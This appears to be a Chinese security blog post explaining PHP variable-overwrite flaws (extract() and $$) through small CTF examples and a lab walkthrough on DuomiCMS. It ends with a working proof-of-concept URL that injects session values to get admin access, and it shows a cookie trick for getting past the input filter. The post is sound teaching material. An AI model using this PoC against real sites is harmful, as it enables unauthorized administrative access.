变量覆盖漏洞

Itachi

变量覆盖

变量覆盖就是字面意思。。不解释了
函数:

  • extract()
    将数组中的值导入当前符号集
1
2
3
4
5
6
7
8
9
10
<?php
$aa = 123;
$cc = 'asd';
$arr = array(
"aa" => "覆盖aa",
"bb" => "加入符号集"
);

extract($arr); //$aa = "被覆盖";"bb" => "加入符号集";
echo "\$aa = $aa" .'<br>'. "\$bb = $bb" .'<br>'. "\$cc = $cc";

img


这里将一道简单的 CTF 题目(稍有改编)

1
2
3
4
5
6
7
8
9
10
<?php
$content = 'X47US3C';
extract($_GET);
if(isset($gift)) {
if($gift == $content) {
echo 'flag is '.$flag;
}
} else {
echo 'how to get flag';
}

如果上面第三行写的是 $gift = $_GET['gift'] ,应该容易理解,但是它使用了 extract 函数,要了解这点,我们需要深入了解 $_GET
这种以 $_ 开头的变量都叫做超全局变量,均为数组,我们可以用 var_dump 查看一下

1
2
3
4
5
<?php
echo var_dump($_REQUEST) . '<br>';
echo var_dump($_GET) . '<br>';
echo var_dump($_POST) . '<br>';
echo var_dump($_COOKIE);

img
所以可以利用 extract 函数将这些数组导入当前符号集,也就是说直接使用他的键值对作为当前的变量
对于那道CTF,我们只需要传入 ?$gift = X47US3C,即可,不需要考虑传给了谁,因为它会被自动导入符号集

  • $$
    这个举个例子就能看懂:
1
2
3
4
5
6
7
<?php
$a = 'a';
$b = 'b';
$c = 'c';
echo "\$a = ".$a.'<br>';
echo "\$\$a = ".$$a.'<br>';
echo "\$\$\$a = ".$$$a;

img


同样引入一道 CTF

1
2
3
4
5
6
7
8
<?php
$a = 1;
foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
foreach($$_request as $_key => $_value) {
$$_key = addslashes($_value);
}
}
echo $a;

foreach(array('_COOKIE', '_POST', '_GET') as $_request) 数组遍历,相当于将每个键值对拿出来赋给 $_request 数组
foreach($$_request as $_key => $_value) 键值分离,将这个数组的键和值分别拿出来赋给变量 $key$value
$$_key = addslashes($_value); 调用魔术引号的函数
img

SESSION

Cookie => 一段随机值,代表身份(与 Session 对应)
Session => 校验 Cookie (看作一个数据库,与 Cookie 有对应关系)
Token => 只校验请求是否有用户本人发起(防止CSRF,与权限无关)

有时候 XSS 打到了 Cookie ,但是 Session 被注销掉,就不存在对应关系

靶场

Duomicms
POCinterface/comment.php?_SESSION[duomi_group_id]=1&_SESSION[duomi_admin_id]=1&_SESSION[duomi_admin_name]=admin
打开源码,搜索 \$\$(开启正则)
img
小技巧:像这种 admin 目录下的文件一般都需要权限验证,可以先不审
找到一个可利用的点,但它前面代码存在 exit (die也要分析),先分析这段代码

1
2
3
4
5
6
7
foreach($_REQUEST as $_k=>$_v)
{
if( strlen($_k)>0 && m_eregi('^(cfg_|GLOBALS)',$_k) && !isset($_COOKIE[$_k]) )
{
exit('Request var not allow!');
}
}

foreach($_REQUEST as $_k=>$_v)键值分离(GET、POST)
strlen($_k)>0 键长度大于 0
!isset($_COOKIE[$_k]) 当存在同名参数时会返回 false

所以只要 GET 传参的同时 Cookie 中也有此键就不会进去,就不存在退出的情况
现在可以分析刚才那段存在利用点的代码

1
2
3
4
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}

要使用 Session ,就要存在 session_start() ,在全局搜索包含这个文件的且开启了 Session 的
img
img
找到一个满足条件的文件,那么可以在这里随意创建 Session
在本地搭一个相同的 CMS,然后在 index.php 中写入 die(var_dump($_SESSION)) 以获取管理员(CMS 管理员的Session时相同的)
img
现在我们复刻一下 Session 就好
poc:interface/comment.php?_SESSION[duomi_ckstr]=dqmw&_SESSION[duomi_ckstr_last]=&_SESSION[duomi_group_id]=1&_SESSION[duomi_admin_id]=1&_SESSION[duomi_admin_name]=admin
注意点:对于加不加引号的问题,原Session是 ["duomi_ckstr"],这种就可以不加,千万不能加单引号
访问 admin页面
img
传入poc 再访问
img
成功进入后台

  • 标题: 变量覆盖漏洞
  • 作者: Itachi
  • 创建于 : 2021-12-30 15:23:27
  • 更新于 : 2021-12-30 18:09:54
  • 链接: https://blog.tarchi.top/web/变量覆盖漏洞/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
 评论
此页目录
变量覆盖漏洞